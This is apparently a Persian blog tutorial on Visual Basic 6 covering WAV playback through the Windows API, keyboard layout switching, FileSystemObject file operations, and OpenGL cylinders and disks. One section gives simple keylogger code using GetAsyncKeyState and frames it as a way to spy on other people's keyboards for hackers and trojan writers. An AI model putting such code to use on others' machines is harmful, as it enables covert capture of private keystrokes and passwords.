|
آموزش برنامه نویسی
|
||
|
آموزش ویژوال بیسیک و ... برای دیدن تمامی مطالب به آرشیو ماهانه مراجعه کنید |
اگه احیانا بازم مشکلی پیش اومد فقط کافیه یه نظر کوچولو بدین.
در این جلسه به صورت موقت آموزش OpenGL رو کنار گذاشتم و میخوام آموزش های جالب دیگه ای به شما دوستان عزیز بدم . البته در جلسه بعدی آموزش OpenGL با خبرهای خوش میخوام براتون بزارم پس نگران آموزش OpenGL نباشید.![]()
مطمئنم از این آموزش ها خوشتون میاد. میگی نه بخون!![]()
شاید شما تا حالا کنترل MultiMedia ویژوال بیسیک رو دیده باشید و با اون کار کرده باشید اما در اینجا ما بدون کمک گرفتن از این کنترل میخواهیم چگونگی پخش فایل های صوتی رو بلد شیم.
برای پخش فایلهای صوتی باید از توابع API ویندوز استفاده کنیم که ما در ینجا از تابع sndPlaySound استفاده کرده ایم .
برای استفاده از توابع API ویندوز (همون طور که در جلسات قبل گفتم ) باید آنها را Declare کنیم .
کدهای زیر را در قسمت General فرم خود بنویسید:
Private Declare Function sndPlaySound lib "winmm.dll" Alias "sndPlaySoundA"(ByVal _
lpszSoundName as String , uFlags as Long) as Long
تابع sndPlaySound دارای دو آرگومان میباشد که ارگومان اول(lpszSoundName)مسیر و نام فایل صوتی است و آرگومان دوم (uFlags) با ثابت هایی که میگیرد چگونگی پخش را کنترل میکند. در زیر تعدادی از ثابت های آرگومان دوم توضیح داده شده است:
SND_ASYNC : در صورتی که این ثابت را انتخاب کنید در زمان پخش فایل صوتی می توانید کارهای عادی دیگر خود را انجام دهید.
SND_SYNC : با انتخاب این ثابت در زمان پخش فایل صوتی تا وقتی که فایل صوتیمان بپایان نرسیده کار دیگری نمی توانیم انجام دهیم.
SND_LOOP : با انتخاب این ثابت فایل صوتی به صورت مکرر پخش خواهد شد.
SND_NODEFAULT : با انتخاب این ثابت اگر فایل صوتی در مسیر تعیین شده وجود نداشت صوتی پخش نمی شود.
اگر بخواهید از دو یا چند ثابت به طور همزمان استفاده کنید باید با نوشتن OR دو ثابت را با هم بیاورید.
بعد از تعریف کردن تابع API در همان جا (یعنی قسمت General فرم) ثابت های بالا را تعریف کیند:
Private Const SND_ASYNC = &H1
private Const SND_LOOP = &H8
Private Const SND_NODEFAULT = &H2
private Const SND_SYNC = &H0
حالا در وسط فرم خود یک دکمه فرمان (Command1) قرار دهید و روی آن دوبار کلیک کنید تا به پنجره کدها بروید.سپس کدهای زیر را بنویسید:
Private Sub Command1_Click
sndPlaySound "FileName" , SND_ASYNC OR SND_NODEFAULT
End Sub
در قطعه کد بالا به جای "FileName" مسیر و نام فایل صوتی با فرمت Wav. را بنویسید.برنامه را اجرا کنید و حالشو ببرید.
جاسوسی از کیبورد:
با استفاده از این تابعی که آموزش میدم شما میتونید از کیبورد خودتون یا هرکس دیگه جاسوسی کنید.
البته این کار بیشتر به درد هکرها و تروجان نویس ها میخوره.
یک پروژه جدید باز کنید و در فرم خود یک Label , Timer قرار دهید سپس در پنجره کد کدهای زیر را بنویسید:
Private Declare Function GetAsyncKeyState Lib "user32.dll"(Byval vKey as long)as Integer
Private Sub Timer1_Timer
Dim J
For I = 0 To 255
J = 0
J = GetAsyncKeyState(I) 'X
If J <> 0 Then
Label1.Caption = Label1.Caption & Chr(I) 'X
End If
Next
End Sub
برنامه خودتون رو اجرا کنید و با زدن کلیدهای کیبورد نتیجه رو ببینید.
راستی خاصیت AutSize کنترل Label را برابر True کنید.
تغییر دادن زبان صفحه کلید:
مثل قبل یک پروژه جدید باز کنید و دو دکمه فرمان (Command1 , Command2 ) روی فرم قرار دهید . از منوی View گزینه Code را بزنید تا پنجره کدها باز شود. سپس کدهای زیر را در پنجره کدها بنویسید:
Private Declare Function LoadKeyboardLayout Lib "user32.dll" Alias "LoadKeyboardLayoutA"(Byval pwszKLID as String , ByVal Flags as long ) as Long
Private Sub Command1_Click
LoadKeyboardLayout "00000429" , 1
End Sub
Private Sub Command2_Click
LoadKeyboardLayout "" , 1
End Sub
در قطعه کد بالا با زدن دکمه فرمان ۱ (Command1)زبان صفحه کلید فارسی میشود و بازدن دکمه فرمان۲ زبان صفحه کلید به انگلیسی مبدل میشود.
انجام اعمالی از جمله کپی/انتقال/ساختن/حذف و نمایش فایلها و فولدرها:
در اینجا من یک شئ برای شما تعریف میکنم که کارهای زیادی بر روی فایل ها و فولدر ها انجام میده :
شئ FileSystemObject :
برای استفاده از این شئ و بهره بردن از امکاناتش ابتدا باید آن را به برنامه خود اضافه کنیم در زیر مثالی آمده است که باعث میشود تمامی درایوهای شما در یک لیست بوکس نمایش داده شود.
ابتدا یک پروژه جدید باز کنید . سپس یک لیست بوکس (ListBox ) از جعبه ابزار به فرم خود اضافه کنید. حال یک دکمه فرمان(Command1) را در فرم خود قرار دهید سپس روی دکمه فرمان خود دوبار کلیک کنید تا پنجره کدها باز شود.کدهای زیر را بنویسید:
Private Sub Command1_Click
Dim FSO , Drives
Set FSO = CreateObject("Scripting.FileSystemObject") 'X
Set Drives = FSO.Drives
For Each Drive in Drives
if Drive.isready Then
List1.AddItem Drive
End If
Next
حالا برنامه خودتون رو اجرا کنید و با زدن دکمه فرمان لیست درایو های خودتان را ببینید.به همین سادگی شما خودتان یک کنترل DriveListBox ساختید!![]()
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
در مثال زیر چگونگی ساختن فولدر را یاد میگیرید.
ابتدا یک پروژه جدید باز کنید . سپس یک دکمه فرمان روی فرم خود جاسازکنید! حالا کدهای زیر را در پنجره کدها بنویسید:
Private Sub Command1_Click
Dim FSO
Set FSO = CreateObject("Scripting.FileSystemObject") 'x
FSO.CreateFolder "D:\Ali" 'Create A New Directory
End Sub
در قطعه کد بالا علت اینکه عبارت "CreateFolder" رو کمرنگ نوشتم اینه که شما میتونید به جای اینکه با این عبارت یک فولدر بسازید می توانید با تغییر دادن آن به صورت CreateTextFile یک فایل تکست ایجاد کنید به این صورت:
Private Sub Command1_Click
Dim FSO
Set FSO = CreateObject("Scripting.FileSystemObject") 'x
FSO.CreateTextFile "D:\Ali.TXT" 'Create A New Text File
End Sub
و اما کپی کردن فایل برای کپی کردن یک فایل ما باید (در قطعه کد بالا) در خط چهارم به جای استفاده از FSO.CreateTextFile از FSO.CopyFile استفاده کنیم با این تفاوت که CopyFile داری دو آرگومان اجباری است که آرگومان اول مسیر فایل مبدا و آرگومان دوم مسیری است که فایل در آنجا کپی می شود. برای اینکه بهتر موضوع رو درک کنید یک مثال ساده برای شما می زنم:
یک پروژه جدید باز کنید و با قرار دادن یک دکمه فرمان(Command1) در پنجره کدها عبارات زیر را تایپ کنید:
Private Sub Command1_Click
Dim FSO
Set FSO = CreateObject("Scripting.FileSystemObject") 'x
FSO.CopyFile "D:\Ali.TXT" , "C:\CopyAli.TXT" 'Copy Ali to Drive C
End Sub
برای انتقال فایل نیز باید همانند بالا عمل کنیم اما با این تفاوت که به جای عبارت FSO.CopyFile باید از عبارت MoveFile استفاده کنیم. همچنین آرگومان اول MoveFile مسیر فایل مبدا و آرگومان دوم مسیر فایل مقصد است.
خوب تا اینجا امیدوارم نظرتون رو جلب کرده باشم.
فعلا. خدانگهدارتون.
با یاد خدا قسمت ششم هم شروع میکنیم.
از اینکه نظر می دین خیلی ممنونم. با این نظراتی که میدین منو شارژ می کنید و باعث میشید که من مطالب جدید رو با ذوق و شوق بنویسم. در جواب نظر آقا حسین باید بگم ما چاکر همه شما هستیم از اینکه یه سایت آپلود رایگان به من معرفی کردی خیلی ممنون.
یکی از دوستان به نام رویال بابل سوال کرده بودن که چطوری میشه ساعت جاری سیستم رو در ویژوال بیسیک به نمایش در آورد؟ در جواب باید بگم این کار بسیار آسونه و من متعجبم که چطور شما نمی تونین ساعت جاری سیستم رو نمایش بدین. خلاصه به این صورت باید عمل کنی:
یک تایمر به فرم خودت اضافه کن و خاصیت Interval تایمرت رو برابر ۱۰۰۰ بگیر.سپس یک تکست باکس (TextBox) در فرم خودت بگذار . روی تایمر ۲ بار کلیک کن تا پنجره کدها باز شود و بعد کدهای زیر رو بنویس:
Private sub Timer1_Timer
Text1.Text = Time
end Sub
به همین سادگی ... به همین خوشمزگی
محمد آقا گفته بودن که کدهای قسمت اول OpenGL مشکل داره. من در قسمت دوم آموزشOpenGL سورس کدهای جلسه اول رو گذاشتم می تونی از روی این سورس کدها یه کپی بزنی.
خوب میریم سراغ آموزش قسمت ششم OpenGL :
در این قسمت یاد میگیرین که دیسک رسم کنین و در ادامه نیز چگونگی چسباندن عکس به اشکال سه بعدی رو یاد میگیرین.
۱- رسم استوانه:
۲- رسم دیسک:
۳- رسم دیسک مجهول(مثلا دیسک نیم دایره)
برای رسم استوانه و دیسک و دایره ما از کلاس Quadric استفاده میکنیم.به طور کلی هر شئی که دایره در آن به کار رفته باشد وابسته به کلاس Quadric است.
۱ - رسم استوانه:
برای رسم استوانه ما ابتدا یک متغیر از نوع Variant تعریف می کنیم . سپس متغیر را برابر کلاس Quadric قرار میدهیم بعد از آن هم با توابع کتابخانه glu اشکال مورد نظر خود را رسم میکنیم.کدهای زیر رو در DrawGLScene (مکان رسم اشکال) بنویسید:
Public Xrot , Yrot , Zrot as GLfloat
Public Function DrawGLScene() as Boolean
glClear clrColorBufferBit
glLoadIdentity
glRotatef xrot , 1 , 0 , 0
glRotatef yrot , 0 , 1 , 0
glRotatef zrot , 0 , 0 , 1
Dim Q
Q = gluNewQuadric
gluQuadricDrawStyle Q , qdsLine
glColor4f 1,1,1,1
gluCylinder Q , 0.3 , 0.3 , 0.8 , 15 , 15
Xrot = Xrot + 0.3
Yrot = Yrot + 0.2
Zrot = Zrot + 0.4
DrawGLScene = True
End Function
کدهایی که کمرنگ هستند تکراری هستند و فقط برای یادآوری بود که کدهای مربوط به رسم اشیا باید در این فانکشن نوشته شوند.
تحلیل کد برنامه: در خط اول ابتدا سه متغیر برای متحرک کردن شئ نوشتیم.در خط چهارم به کمک تابع glLoadIdentity شئ خود را ثابت و بدون حرکت کردیم تا حرکت را به عهده متغیر ها قرار دهیم. خط های ۸ و ۹ و ۱۰ و ۱۱ و ۱۲ را برای رسم استوانه نوشتیم. خط های ۱۳ و ۱۴ و ۱۵ هم برای متحرک کردن شئ است.
و اما شکل کلی تابع gluCylinder (تابع رسم استوانه): gluCylinder
خطوط عمودی , خطوط افقی , ارتفاع استوانه , شعاع دایره بالایی استوانه , شعاع دایره پایینی , متغیر
به همین سادگی شما یک استوانه رسم کردید.
۲ - رسم دیسک : رسم دیسک نیز مانند رسم استوانه است با این تفاوت که به جای استفاده از تابع gluCylinder باید از تابع gluDisk استفاده کنیم. کدهای زیر رو در فانکشن DrawGLScene بنویسید:
Public Xrot , Yrot , Zrot as GLfloat
Public Function DrawGLScene () as Boolean
glClear clrColorBufferBit
glLoadIdentity
glRotatef xrot , 1 , 0 , 0
glRotatef yrot , 0 , 1 , 0
glRotatef zrot , 0 , 0 , 1
Dim Q
Q = gluNewQuadric
gluQuadricDrawStyle Q , qdsLine
glColor4f 1,0,0,1
gluDisk Q , 0.1 , 0.7 , 15 , 15
Xrot = Xrot + 0.3
Yrot = Yrot + 0.2
Zrot = Zrot + 0.4
DrawGLScene = True
End Function
۳ - رسم دیسک مجهول(مثل دیسک نیم دایره):
برای رسم دیسک مجهول به جای استفاده از تابع gluDisk باید از تابع gluPartialDisk استفاده کرد. کدهای زیر رو هم امتحان کنین.
Public Xrot , Yrot , Zrot as GLFloat
Public Function DrawGLScene() as Boolean
glClear clrColorBufferBit
glLoadIdentity
glRotatef xrot , 1 , 0 , 0
glRotatef yrot , 0 , 1 , 0
glRotatef zrot , 0 , 0 , 1
Dim Q
Q = gluNewQuadric
gluQuadricDrawStyle Q , qdsLine
glColor4f 1,0,0,1
gluPartialDisk Q , 0.1 , 0.7 , 15 , 15 , 0 , 250
Xrot = Xrot + 0.3
Yrot = Yrot + 0.2
Zrot = Zrot + 0.4
DrawGLScene = True
End Function
![]()
![]()
|
|